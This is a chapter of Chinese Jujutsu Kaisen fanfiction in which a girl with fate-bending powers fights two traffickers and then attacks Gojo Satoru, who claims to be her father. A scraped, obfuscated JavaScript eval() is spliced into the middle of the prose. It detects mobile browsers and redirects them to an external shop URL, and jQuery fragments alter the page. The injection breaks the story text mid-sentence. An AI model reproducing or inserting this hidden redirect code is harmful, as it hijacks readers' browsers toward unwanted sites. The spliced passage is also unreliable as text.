5. 前往高专的旅途,与爸爸战斗

作品:《喧嚣的爱恋令崽头大

    静子前往高专的路程并非一帆风顺。


    她收拾出一个小包裹,还偷偷拿走了早就藏好的地图和妈妈给她准备的小金库。


    但她认识的字实在不多,好不容易半拼半凑的认出了东京咒术高专的字样,却发现了一个更严峻的事实。


    她不认得方向!


    毛茸茸的蒲公英咒灵只会机械的听从她的指挥,是完全没有脑子的物种,所以她将希冀的目光投向贞子小姐。


    “姐姐你知道这是哪个方向吗?”


    她将地图举起展开,放到贞子面前,没有得到任何回应。


    “是因为头发被挡住了吗?姐姐你怎么不理我?”


    静子拿出妈妈给她买的五彩缤纷小发圈,犹豫着要不要给贞子姐姐扎头发。


    这些发圈是她缠着妈妈要买的,虽然她要的东西妈妈都一定会给她,但她就喜欢妈妈歪着头,露出苦恼的表情:“可是上个星期刚给静子买了很多蕾丝发圈哦,还有很多没用过呢!”


    “我不喜欢那种款式了,”静子用手搂着妈妈的脖子,开始绕着妈妈转圈圈:“静子现在喜欢这种更漂亮的!”


    她总能在这种时刻看到妈妈低下头憋着嘴边的笑,露出一截光滑的脖颈。


    她知道妈妈也喜欢这样玩,所以她把小脸凑过去先啪啪亲了两口:“妈妈也亲亲我好不好,亲亲完给静子买好看的发圈好不好?”


    这样的游戏进行过太多次,多到让盘星教的家人们都欲言又止。


    其实反应最大的就是米格尔哥哥,但是静子从不理会他的吐槽。


    都是嫉妒!


    但现在最重要的还是抵达高专,静子最终还是咬咬牙给贞子姐姐扎起了头发:“静子只是先把发圈借给姐姐用哦,这可是妈妈买的,别人都没用过。”


    手下的头发长且滑,静子原本只想扎个简单马尾的心开始蠢蠢欲动:菜菜子姐姐给他扎过麻花辫,短短的很多条,姐姐扎得头发又快又好,对了,是怎么扎的来着。。。


    等她玩完时才发现自己不知何时漂到了一个完全陌生的地方。


    “哇,小蒲你这是飞到哪里去了!”


    她拽着蒲公英的毛,一不留神薅下来好大一片。


    蒲公英开始匀速下降。


    “等一下小蒲,”静子试图将手里的毛毛重新塞进去:“振作起来呀!你可是妈妈的式神!”


    回应她的是四处飘散的蒲公英种子以及近在咫尺的地面。


    静子只好“嘿呦”一声从空中蹦下来。


    是完全陌生的地方,这下连地图都没有用了。


    要不用一下预知的能力?只需要看到唯一正确的道路后按照方向走就可以了。


    但这可是自己第一次偷偷溜出来玩,况且时间还充足。


    静子愉快地做了决定:还是找大人来问一下吧。


    自己出来玩真是太自由太刺激了!


    正好前面的巷子里有人影晃动,静子当即兴致勃勃地冲了过去。


    光晕里蹲着一个大叔,还有一个靠墙站着,地上全是抽过的烟蒂和酒瓶。


    好臭啊,原本的设定一点都不好玩了。


    静子捏住鼻子,思考了一瞬,决定放弃问路。


    就在她转身要走的时刻,靠墙站立的大叔突然醉醺醺地打了个酒嗝,眼神迷离地朝她走来。


    “大哥,你看,这…这有个小孩!”


    蹲在地上的男人抬起头,乐了:“还,还真是,刚卖了一群又来一个,发财了哈哈哈哈哈。”


    好恶心,静子后退两步,好臭。


    没人注意她的瞳孔在幽暗的巷子里像琉璃般照映出明亮的光。


    男人嘿嘿笑着朝她招手。


    “别怕,跟哥哥走!哥哥带你吃糖很不好?”


    话音刚落,本来还在试图靠近的男人就一脚踩在啤酒瓶上,重心不稳的他难逃扑向围墙的命运,只得到一声响亮的“砰”当结局。


    血液从他的额角缓缓流下,他瞪大双眼,注视着静子面无表情的脸,不信邪的继续前进。


    命运为他的自信继续书写续章。


    男人刚迈开步子,又不可置信地踩到不知从哪冒出的钉子,再次不受控地向后倒去,正好摔在刚才的啤酒瓶上。


    玻璃瓶受力炸开,男人倒在地上开始不停的抽搐。


    “就是因为你们这些讨人厌的猴子,妈妈才会一直不开心。”


    静子冷着脸的踏过血泊,将抽搐的挡路男人一脚踢开,俯视另一个受惊清醒后瑟瑟发抖的人渣。


    “你们这样的渣滓现在死去才是对社会最大的贡献。”


    回应她的是凄厉的尖叫:“鬼啊啊啊啊啊啊啊啊啊啊!”


    ……


    静子身边漂浮着萎靡不振的蒲公英,贞子姐姐被她派去监督那两个臭猴子自首,毕竟命运中突然延伸出了被拐孩子成功获救的支线。


    她可真是个好宝宝。


    静子七拐八拐的向高专前进,累了就趴在小蒲身上睡一觉,毕竟现在的小蒲还是可以载着她低空飞行的。


    不知道这一路吓到了多少熬夜的社畜,静子还是在清晨成功抵达了高专。


    “哇!”原本的困意在见到高专的那一刻灰飞烟灭:“好大!!好漂亮!!!”


    不同于妈妈的盘星教,高专更加古朴幽静,大片的树林与飞鸟,空气也超清新。


    就是有结界,而且无法规避。


    静子撇撇嘴,运用命运的纺线,强行将结界调至曾经“破损”的某一个瞬间。


    刺耳的警报声响起,静子一头栽到蒲公英身上。


    好累好累好累……怎么能耗费她这么多的咒力,连预知都用不了了,可恶!


    算了,还是让小蒲带她先藏起来吧。


    警报怎么还不停下来!这么烦!


    气哼哼的静子任由蒲公英带着她到处飘荡,飘到一块树林里后她嘿呦一声翻了个身,栽进柔软的草丛里。


    不行了,真的好困啊……


    睡一会吧,妈妈说过小孩子是不能熬夜的,她还要长高呢!


    仅仅用了十秒的思考时间,静子已经抱着软乎乎的蒲公英进入了睡眠状态。


    再次被强制唤醒,是因为鼻子痒痒的,好像有人在逗她起床。


    静子还没有清醒,伸出胳膊抓住了对面的手:“等静子睡醒再玩好不好?妈妈?”


    对面的手僵直了瞬间,静子也反射性地意识到不对。


    这个人的手怎么这么大!


    比妈妈的大了一圈!


    静子一个翻身,眼都没睁开就采取了头槌攻击。


    好像穿过了什么东西…


    和大人的坚硬的下巴相比,小孩子的额头还是太脆弱。


    尽管五条悟已经迅速的拉开距离,但必中的命运还是在这一刻发挥了作用。


    还来不及为战术的成功感到兴奋,剧烈的疼痛就让静子红了眼眶。


    泪眼朦胧的睁开双眼,映入眼帘的就是立起来的白色头发以及黑色的眼罩。


    如果把立起来的头发顺下来…


    静子无


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385764|200237||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    视了男人哎呦哎呦的撒泼打滚,必中的命运在这一刻继续发挥功效。


    眼罩下是一双璀璨的蓝眼睛,像是天空的延展。


    已经完全忘却了只是想测试一下敌人虚实的本来目的,静子将命运中蓝血双满的自己嫁接到此刻,抽出包袱里准备好的匕首。


    “去死吧,混蛋!!”


    “喂喂喂。一开始就刺杀自己的亲生父亲吗?”五条悟灵活躲避的同时还不忘调侃:“真是了不得啊,杰把你养的很好哎。”


    并非嘲讽,而是真情实意的感叹。


    听到这句话的静子更是怒火中烧:“不允许你提起我的妈妈!!还敢造谣!”


    原本必中的命运烟消云散,即使强行调取男人曾经虚弱的要死的命运,也会在下一刻被刷新成完美状态。


    未来的命运在静子脑海中无限展开,无数的支线被她无情划断。


    但是为什么这个男人在未来中总是毫发无损!?


    “你这个术士好厉害,”男人在悠闲躲避的同时说的每一句话在静子听来都像是挑衅:“你还太小了,没用的哦,放弃吧。”


    “爸爸带你去吃最新鲜的毛豆大福吧,超美味的!吃完就不生气了!”


    “哈,”静子被这个致力于当她爸爸,造谣她完美无瑕妈妈的男人气笑了,甚至无暇理会脑海中闪过的画面:“你这个敢杀了我妈妈的男人!”


    必中的命运在此刻终于再次呈现。


    她对准男人的太阳穴:“去死吧!”


    -----------------


    家入硝子沉默了很久,终于打起精神点评:“所以不会说话就不要说话,看你把静子气成什么样了。”


    五条悟眺望着窗外的景象,明艳的阳光洒在他堪称冷淡的侧脸上:“我还以为硝子你会对另外一件事感兴趣呢。”


    “这是你们的选择,”家入硝子拉开抽屉扫了一眼烟盒,最终还是把抽屉又关上了:“我只负责处理尸体。”


    “但恐怕我不会把尸体交给你哦,”五条悟转身,任由温暖的光撒在他的后背:“我会把他放在一个安静的地方。”


    不会被打扰,终于能够安眠的地方。


    “和我无关,”家入硝子双手抱胸,不耐道:“他既然愿意死在你手里,那就代表他愿意把自己交给你。”


    “你现在还是关心关心你的女儿吧。”


    “哎呀,真是有点让人头疼呢,”五条悟抓了抓后脑勺:“我当时是怎么和小惠相处的来着?”


    家入硝子听到这话不受控的冷笑一声:“那你可以试试。”


    她见过那个小孩,小小的年纪已经颇能隐忍。


    但她看静子完全不是这个性子,真怕逗孩子逗出事,像现在这样精力耗尽,三天两头的往医务室跑。


    “到时候说不准夏油都能来找你问罪了。”


    注意到五条悟突然亮起来的双眼,家入硝子嘴角微抽:“你最好不是认真的。”


    “啊哈哈,人家哪有这么不靠谱,硝子真讨厌。”


    五条悟走到病床旁,注视着正在呼呼大睡的静子,有些开心:“她长得更像夏油,真可爱。”


    家入硝子闭了闭眼。


    “有我这样的爸爸有什么不好的?”五条悟捏了捏静子的婴儿肥:“接受现实吧,我们才是一队的。”


    静子像是听到了蚊虫的嗡鸣,摆摆手试图让恼人的声音远离。


    五条悟良久地注视着静子幼嫩的脸庞:孩子他也不要了,所以最终还是难逃被抛弃的命运啊。